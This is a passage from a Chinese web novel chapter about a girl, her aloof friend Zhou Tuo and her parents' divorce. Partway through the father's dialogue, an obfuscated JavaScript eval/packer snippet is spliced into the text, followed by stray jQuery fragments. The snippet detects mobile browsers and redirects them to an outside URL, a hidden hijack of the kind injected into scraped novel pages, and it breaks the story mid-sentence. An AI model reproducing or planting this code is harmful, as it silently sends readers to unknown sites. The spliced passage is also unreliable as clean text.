“呜——”何希音揉眼睛，“周拓。我的眼睛酸酸的。”


    周拓捧着纸巾：“你又怎么了？”


    何希音站上地台，踮脚，伸手去摸他的脑袋，毛茸茸的，暖呼呼的，像小狗的脑袋，她边揉边说：“真感人。如果你是机器人，那一定是科技含量超高的仿真机器人。”


    “你！竟然！有人类的感情！”


    周拓无奈：“那现在高兴了没？”


    何希音拼命点头：“高兴！嘻嘻~”


    当晚，她回家翻开那本名为《机器人观察日记》的本子。


    随着两人渐渐熟悉，何希音的日记本正式更名为《机器人观察日记》，她坚信周拓是个没得感情的学习机器。


    周承安说这是小男生装酷，让她别和周拓一般见识。


    何希音不这么认为。


    班上有装酷的男生，那些男生头脑简单，做事鲁莽，什么都不懂却装得很懂，和他们说两句，故意只回半句。


    周拓不一样，他说话直接，没什么表情，冷冰冰的，但能感觉出他不是故意这样，怎么想的就怎么做，他的淡漠是骨子里带的，也可能是和班上同学没什么共同话题，所以很沉默。


    但今天这个想法有些动摇。


    ‘10月11日天气：小雨转晴心情：大晴’


    ‘今天周拓带我看了‘彩虹轨迹’，水蒸气含量高的时候，飞机划过天空尾部的航迹云会变成一条彩虹。’


    ‘今日机器人怀疑度：0！’


    ‘我好厉害！’


    ‘我可以把人类情感输进机器人的脑袋！’


    何希音在末尾不忘狠狠夸奖自己。


    —


    何乐仪是体校的长跑教练，周末也要去学校参加训练，偶尔还会陪着运动员去外省参加比赛。


    对牧辽而言，一个月，他有半个月都在外地出差。


    搬到南浦街，何希音大部分时间都在周家。


    早上，父母送她去学校，中午她跟周拓回家，在周家吃午饭，下午去上课，放学又和周拓回家，一直到完成作业才回家。


    牧辽提出像之前那样找个晚托班。


    周承安却说两个孩子做个伴挺好的，反正他是居家办公，无非是多添双筷子的事罢了。牧辽把寄晚托的钱给周承安，周承安再三推辞，还是收下了。但都以各种礼物回到何希音手里。


    何希音是个念旧又不喜欢改变的人。


    但在周承安的糖衣炮-弹攻势下，她忘却转学搬家的伤心，认识了很多新朋友，融入南浦街。


    可惜好景不长，刚忘掉转学的难过，新的改变又出现。


    这次改变发生在她家里。


    发生在父母之间。


    和她有关系，又没关系。


    她无法反抗，只能接受。


    在她十岁这年，牧辽和何乐仪决定离婚了。


    何希音不希望两人分开，可要说难过吧，好像也不至于。父母感情很好，鲜少吵架，两人各有各的忙，聚少离多，生活作息逐渐不同频。


    原先的家是一栋带院子的叠拼别墅。一层是牧辽的摄影工作室，二层是住宅。别墅在在靠近郊区的地段，学区不好，为了上学，才搬到南浦街。工作室还在那，他时常会过去整理资料，剪辑相片。


    何乐仪是长跑教练，每天五点就起床去晨跑，晚上十点准时睡。牧辽的作息完全相反，摄影师的工作不是坐班制，时常中午起，下午去出版社交稿开会，晚上去工作室修照片，凌晨才回家，若是太晚便宿在工作室。


    同住一个屋檐下，不出差的日子，两人也不一定能见面。


    时间久了，两人少有的交流都是关于孩子，不再好奇对方的生活，不再过问对方的工作，距离越拉越远。


    父母迟早要分开。


    何希音猜到了。


    只是没想到这个消息是周拓告诉她的。


    那段日子，父母和往常一样，工作、出差、照顾她，没有争吵，日子平淡到乏味。周拓却很反常，送她两个发卡，一只粉色小熊，一只蓝色小狗。


    周拓说：“心情好戴小熊，心情不好戴小狗。”


    “为什么呢？”何希音捏着发卡翻来覆去地看，“这两个都很可爱啊。戴哪个我的心情都会很好。”


    她左边戴一个，右边戴一个：“好看吗？”


    周拓点头：“好看。”


    何希音问：“那我不能都戴着吗？”


    周拓摇头：“分开戴。我才能知道你现在开心还是难过。”


    何希音摘下两个发卡揣进兜里，拍他肩膀，笑嘻嘻的：“哈！是不是终于发现自己是个读不懂人类感情的机器人？！”


    周拓沉默，神情复杂地看着她。纠结的唇线绷直，眉头微锁，清澈的眼眸浸染哀伤还有些许怜惜。


    何希音看不懂。


    第一次怀疑自己也是机器人。


    “周拓。你怎么了嘛！”何希音笑着戳他。她隐隐不安，嘴却咧到太阳穴，故意扯出夸张的笑容，手肘边戳，边逗弄，“你到底怎么了嘛！”


    她不喜欢这样奇怪的氛围。


    周拓笑了笑说：“没事。”


    他的笑容很勉强，语气也轻，似淅沥小雨，落在地上瞬间不见，只有坠落的那声滴答证明它存在过。


    两个发夹能有什么用？


    何希音琢磨一路，到家也没想出头绪。


    周拓却用实际行动回答她。


    只要她戴上蓝色小狗，周拓会从机器人暂时变回人类。


    有时是替她跑腿交作业。


    有时是一罐冰冰凉凉、甜丝丝，冒着气泡的柠檬苏打水。


    有时是一颗薄荷糖。


    —


    这天，何希音刚推开家门，就瞧见牧辽和何乐仪在客厅对坐，两人低着头，对着面前的纸愁容满面，一会这个叹气，一会那个叹气。


    这天终于要来了吗？


    两人全神贯注地看那张纸，谁也没注意到何希音已经回家，就站在玄关。她推开门，悄悄退出去，又轻轻合上门，像什么都没发生一样。


    她去周拓家。


    周拓有些意外：“叔叔阿姨还没回家吗？”


    “还没有。”何希音局促地搓手，“我能在你家多待一会吗？”


    “当然。”周拓侧身。


    两人坐在书桌前预习功课，周拓注意到她头顶戴着蓝色发卡。他打了个响指：“心情不好？”


    “啊？”何希音在走神，嘴微张，许久才反应过来，匆匆摘下发卡，“我……我拿错了。我没有不开心。”


    她摸口袋，拿出粉色小熊戴上。


    周拓却说：“我学了个魔术。要看吗？”


    “好啊。”她抬头。


    “你有硬币吗？”周拓侧过身。


    “有。”何希音掏兜，“你要一块的？还是五毛的？”


    “都行。”


    何希音拿出一枚一元硬币放在他手掌：“正面是字，反面是菊花。我记住了。”


    周拓笑：“不用记这个。”


    “啊？”


    “你记也行。”


    周拓两只手掌贴合成筛盅，左摇右晃，忽然伸出手，两手都擦过她耳侧，毫无预兆地松手，在左右两侧各打了个响指。


    何希音愣住，左看右瞧。


    周拓展开手掌，左手右手都是空的。


    他下颌微点，示意她低头。


    何希音不明所以地掏兜。


    原本空荡的衣兜多出一枚硬币。但不是方才那枚，是一枚附近电玩店的游戏币。游戏币反面是店名，正面是一枚笑脸。


    周拓说：“心情好点没？”


    何希音轻笑，很快又绷直唇线，故作不满：“我的一元硬币没了呢！”


    周拓又打了个响指，摊开手掌：“在这。”


    何希音收回硬币：“我想去打电玩。”


    “走吧。”周拓起身背包，没有丝毫犹豫。


    傍晚时分，电玩店聚满人，每台机子都有人在等位。


    两个人逛了一圈，找到一台人少点的钓-鱼-机。


    游戏规则很简单，操作电动摇杆，屏幕里的鱼竿会随之晃动，在屏幕里的小鱼游到钓竿附近，按下下钩键。玩法和娃娃机相似，但娃娃机的奖品看得见，这个游戏的钓竿在电子屏里，店家的操作性更强，钓中小鱼得到的也是一只娃娃。


    玩这个不如去玩娃娃机。


    才没什么人玩。


    “玩这个吧。”何希音排队，仔细观察前面的人怎么操作。


    周拓环顾四周：“那边的娃娃机人不多了。”


    何希音摇头：“不。我想玩这个。”


    “嗯。”周拓陪着等。


    钓-鱼-机在店的角落，前面的人离开后，再没人来玩，小角落只剩两人，在各种吵闹的音乐和叫喊喝彩中，这里像个世外桃源。


    何希音坐下，没有马上投币。


    周拓指着屏幕：“店家设置了参数，鱼钩下落的瞬间，鱼会往两边跑，所以你要提前……”


    “你是不是知道我爸妈要离婚了？”何希音打断。


    周拓两手插兜，神情复杂，许久没回答。


    何希音侧目：“你知道对吗？所以这段日子才会这样。”


    周拓以沉默回答。


    何希音问：“是周叔叔说的吗？”


    “不算吧。”


    “他怎么说的？”


    “前一阵，牧叔叔总来找我爸聊天，提到这事。”周拓顿了一会，“我听到了。”


    “你……”还好吗？


    周拓想问，又没有勇气，除了会变戏法，他再没有安慰她的招数。


    何希音也害怕他问，她不需要被怜惜，不需要安慰，不想聊这事，强硬地转走话题：“今天周五呢！天天写作业，我头都大了。明天是周末，我今天要多玩几把。”


    “我去换游戏币。”


    “好。你快去吧。我在这里等你回来哟~”


    周拓走向柜台。


    待他捧着一小筐游戏币回来，钓-鱼-机前面的位置已经空了，屏幕上显示——


    ‘Gameover’


    ~


    何希音揣着满怀心事地走回家，两腿像绑了米袋，每一步都无比沉重，走得很慢，很慢，她多希望这条路一辈子也走不完。


    再次打开家门。


    父母似乎已整理好情绪，桌上的纸不见了，桌上没有饭菜，何乐仪说：“今天有点事，一会出去买现成的打包回来。”


    牧辽接过书包：“希音，你来，坐在这，我们有点事想和你商量。”


    何希音抢着开口：“我知道你们要离婚了对吗？”


    两人的表情凝固，面面相觑，被这突如其来的问题击懵，谁也没回答，只有很轻的叹息。


    何希音说：“不用和我商量。这是你们的事，决定好就可以了。我和爸爸生活，和妈妈生活都可以。我没意见。”


    牧辽摇头：“不。这是你的事。”


    “这两年，你也看到了，我和妈妈的生活作息不同，很难一起生活。但我们对你的爱从没变过。哪怕是这刻。你有权发表你的意见。你可以选择和我们其中一方生活，也可以选择继续一起生活。”


    何乐仪也蹲下，温柔解释：“如果你选择继续这样，对我们来说会有点难，但我和爸爸会努力克服。”


    何希音摇头：“我不会。我希望你们开心。”


    “谢谢你。”牧辽捏了捏她的脸，“爸爸的工作需要经常出差。妈妈比我更合适照顾你。你的学校不能再换了，所以要继续和妈妈住在南浦街。”


    “我会慢慢搬回原来的房子。”


    “你想爸爸的时候要给我打电话，我不出差的时候会来带你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239425|166246||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出去玩。这样可以吗？”


    “可以！”何希音点头。


    何乐仪说：“我和爸爸不会马上去办手续。我们先这样试着生活一段，如果你不开心及时说出来。”


    何希音又点头。


    “我要去写作业了。这周作业超！级！多！”何希音笑容夸张，手势也夸张，“我明天下午要和周拓去公园玩，今天要把作业都写完！”


    何乐仪能感觉出她不对劲的情绪，但何希音硬绷着，她一时也想不到更好的语言来解释安慰，先抱住她，又摸了摸她脑袋，就让她进房去写作业。


    —


    这个周末，何希音哪都没去，一直关在房间看动画，一部接着一部地看。何乐仪和牧辽分别进门来和她谈话，她都以‘她没事’、‘她只是需要一点时间’应付两人。


    她第一次这么期盼上学。


    学校课程早已安排好，什么都不用考虑，踏进校门，只需要一节接一节地上，放学回家，埋头写作业，睡觉，再等第二天上学。


    一日接一日地循环。


    这是她目前急需的。


    她需要做事来麻木情绪。


    她的状态不好，牧辽搬家的事一拖再拖。


    何希音缓了一个月，意识到不能再逃避下去。主动提出帮牧辽搬东西。两人坐着货车回到旧家。


    离开时种下的柠檬树，如今已结满果子，酸酸的，苦涩的，清新的柠檬味溢满小院。


    牧辽拿出钥匙：“我出差的时候，你要记得来这帮我浇花。”


    何希音接下任务：“好！”


    时间是适应改变的良药。


    父母办理离婚手续后，牧辽彻底搬回旧家，从一周两次回家和母女俩吃饭变成一个月一次。


    一年后，牧辽极少回南浦街。


    周一到周五的上学日，何希音和母亲住在南浦街，周末回旧家，如果牧辽出差，她周末也会去旧家修建浇灌那些花花草草。


    他们说的没错。


    牧辽和何乐仪对她的爱从没变过，只是换了一种形式，一种对三个人都更好的方式。


    牧辽知道周拓这段时间做的事，很是感激，买了一套乐高玩具送他。周拓没收，无论他怎么说，周拓都坚持不收。


    他说：“我不能收。”


    “她是我最好的朋友。”


    —


    ‘分别感是人与人在分开的时候产生的一种特殊的感情。’


    这是写在词典里的释义。


    初学时，何希音并不懂。夏宜市这么小，从城南到城北，坐最长最慢的公交，也不过两小时。只要坐上公交车，她可以去任何地方，见任何人。


    转学时，她经历过一次分别。


    有点痛苦，但不多。


    以前的朋友，现在还有往来。


    可周拓收到‘少先班训练营’邀请书的这天，她却懵了。


    周拓说少先班是一种可以提前上大学的途经。训练营考试通过后，每个暑期都要去参加训练营的培训课，等达到少先班的考试年龄就可以报考少先班。


    何希音震惊：“你要去上大学了？！”


    这个词对她来说太遥远了，她还在考虑初中派位要怎么报名。


    周拓摇头：“不是。只是训练营。”


    何希音知道他很聪明，知道他什么都会，但没想过他竟然这么聪明？她拿过邀请书翻来覆去地看：“为什么发这个给你？”


    “谁给你的？”


    “不会是诈骗吧！”


    “我看新闻说过这种诱拐儿童的方法，你去了还能回来吗？不会被卖到山里吧？”何希音忽然撸起袖子，气势汹汹的。


    周拓笑：“是班主任给我的。”


    “为什么呢？”


    “可能是我数学竞赛拿奖了。”


    “对噢。你拿了一等奖。”她交还邀请函，“你要去考吗？”


    “会。”


    “考上你会去上吗？”


    “考上再说吧。”


    “你去吧！”何希音对‘少先班’的概念仍是一知半解，但她清楚这种少数人才有的机会一定是很好的，她拍他肩膀，一次比一次用力，一次比一次郑重，“任重而道远啊。少年。”


    周拓活动关节：“是是是。我怕我没考上。先被你拍死。”


    何希音收回手，笑嘻嘻的：“恭喜你呀。”


    “谢谢。”


    “什么时候考？”


    “下周末。”


    “我要去买些文具和住宿的东西。要买……”


    何希音坐在他面前，看着他的嘴一张一合，耳朵却自动屏蔽掉那些话，周拓是话很少的人，这刻说了好多好多。他也是很期待这个考试的吧。何希音知道该为他高兴，嘴上说着恭喜，心却被挖空了。周拓通过训练营的考试，大概率会分配到最好的初中，就不可能和她一个初中，没有人帮她记作业，没有人教她写数学题，也没有人会陪她看无聊的长剧。


    周拓的手在她眼前晃：“你在听吗？”


    “我在听。”何希音说，“你要去哪里买这些？”


    “超市。你去吗？”


    “嗯。一起去吧。”


    —


    十二岁的夏天教会何希音什么叫‘分别感’。这种感觉只存在你和在乎的人之间，是一种对未来的担忧，害怕疏远，害怕失去，害怕不再见面。


    这种感觉并没有持续太久。


    夏天快结束的时候，何希音在街心公园遇上周拓。


    他坐在人力转转车上，低着头，脚尖戳着地面，一下又一下，转盘缓慢转动着。


    何希音跑过去：“周拓。你考完了？”


    “嗯。”


    “考上了吗？”


    “大概吧。”


    “什么意思？”


    “我没看成绩。”


    “因为……我不想去了。”